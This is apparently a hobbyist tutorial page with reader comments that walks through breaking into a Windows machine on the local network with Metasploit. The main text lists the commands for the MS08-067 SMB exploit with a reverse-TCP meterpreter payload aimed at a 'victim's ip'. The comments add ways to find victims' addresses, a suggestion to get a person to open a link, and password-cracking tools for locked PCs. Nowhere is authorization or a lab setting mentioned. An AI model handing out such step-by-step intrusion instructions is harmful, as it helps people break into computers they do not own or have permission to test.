Introduction: Hack a Computer on Your Network With Kali Linux

Picture of Hack a Computer on Your Network With Kali Linux

Hey guys!

So you want to hack a computer and you've got Kali linux installed?

Then you are on the right place!

I am going to show you how to hack a computer.

Step 1: Start Kali Linux

Picture of Start Kali Linux

Start Kali Linux and start a new terminal.

Step 2: Start the Metasploit Console

Picture of Start the Metasploit Console

Start the Metasploit console by typing: msfconsole

This will take a few moments...

Step 3: The Commands:

So Metasploit started.

Here are the commands you need to type in:

use windows/smb/ms08_067_netapi

set PAYLOAD windows/meterpreter/reverse_tcp

set LHOST *Your ip adress* (If you don't know your ip adress then open a new terminal and type ifconfig. your ip adress will be somewhere in the output :D)

set LPORT 4444

set RHOST *victim's ip*

set RPORT 445


(You should connect)

Type help for a list of commands.

Step 4: That's It!

Picture of That's It!

That's it!

You just hacked a computer!


I will probably make more tutorials about hacking and other ways to hack a computer.

So if this didn't work for you, stay tuned!

I think it only works for older versions of windows :(

Also please take a look at my Widows 7 hack tutorial!

how i know that what is the victim ip

you can use wireshark

IJWTB (author)Deepak kumar mahto2017-03-24

The cringe is real. You need to get the local ipadress from the victim. Do this by typing in your command prompt (I'm guessing that you're using a virtual machine) "net view" and now some host names will popup. (Ex: ERIK) Ping the host and no you've got the local ipadress( ipv4) of our victim.

type into the console:

nmap -sP RouterIPAddress/24

you should figure out

JoshuaC84 (author)2017-07-22

Everyone of you communists is accidentally helpful, or purposefully wasting valuable space-time in this reality. Could not give u a definitive answer to any rational reason why you could possibly still find the resolve every afternoon to slither off ur moms hideaway soda , demand she cook you an omellete, and scroll down to some poor unsuspectimg comment section u happened upon so as to leave behind your legacy- the comment section of a forums euivalent of a public bathrooms stall poetry and wall art. Keep it up

will this work on a mac?

IJWTB (author)Elliotbarbo2017-03-24

No you dumbass. You can well see that he used windows/meterpreter/reverse_tcp .-.

VastoLourdes (author)2016-08-15

All I get is bash: msfconsole: command not found

What do I do next?

IJWTB (author)VastoLourdes2017-03-24

That's very strange. You're maybe using Mint or Ubuntu or some other os. Pretty nooby of you to not get that LOL.

DotComRich (author)VastoLourdes2016-11-23

do you have metasploit on your kali?

Joshua6 (author)DotComRich2016-12-26

Lol! point made.

obamab2 (author)VastoLourdes2016-10-26

Giggity1010 (author)2017-03-02

IJWTB (author)Giggity10102017-03-24

It's "api" not "pai"

IJWTB (author)2017-03-24

LOWE6 (author)2016-12-14

I already tried the ip4 addres but how can i find the IP Address.

And i also tried nmap -sP RouterIPAddress/24 but it didn't work it was showing me: Host found: 0. and some more errors.

Pls help me

waytoomanychairs (author)LOWE62017-02-18

If you still can't get this to work, you can use something like Angry IP Scanner and configure it a bit, or there are even some networking apps on the playstore for phones where you can find most devices on your network.

HiddePi (author)LOWE62017-01-26

I go to the router in the browser (most of the time is the URL, then login and you will see a network map most of the time.

Joshua6 (author)LOWE62016-12-25

Can you get this person to open a link?

danijuntak (author)2016-11-29

SimplisticHack (author)2016-11-23

Got it. Worked beautifully. Thanks for the tips and guidance ;-)

DotComRich (author)2016-11-23

so what do i do if it say

[*] Started reverse handler on "MY IP":4444

[-]Exploit failed [unreachable]: Rex: : HostUnreachable The host ("MY OTHER IP":445) was unreachable.

idk why it would be unreachable

malburg (author)2016-10-14

Ok, i see this local PC but when i try to connect, it's protected. Any way to crack it?

Zerghunter666. (author)malburg2016-11-19

Tools such as THC-Hydra and john the ripper are good tools on kali for that

How do we remember the names of exploits and how to know which exploit has to be used

CoenW1 (author)SouravK182016-08-02

Just google it :)

Exploit aborted due to failure: no-target: No matching target

What to do now

CoenW1 (author)AkshanshS32016-07-22

I think you tried to hack a computer that has an other operating system than windows xp. If you want to hack a computer with windows 7 or higher installed, take a look at my other tutorial:

Rather than just spewing commands to setup a handler for a old patched exploit that hasn't worked since 2008, why not describe metasploit and how to properly take advantage of it. You haven't described what the payloads do, which payloads are useful, how to fix detected payloads or even what metasploit is doing in the background besides magically "hacking" a computer with an exploit that will almost never work now a days since most people block port 445 and have patched ms08-067.

Icith (author)AbDuCt2015-12-23

Thank you! i want to learn how to use MetaSploit but I don't want to be a Script Kitty.

CoenW1 (author)AbDuCt2015-08-11

If this was ment as feedback, thanks!

Coolloom (author)2015-08-11

Why it's my choice what I do

Coolloom (author)2015-08-10

Just asking I have no need to hack a conputer

CoenW1 (author)Coolloom2015-08-10

If you don't have the need to, why are you looking at this instructable?

Duaa-e-Aamina (author)CoenW12015-08-11

Coolloom (author)2015-08-10
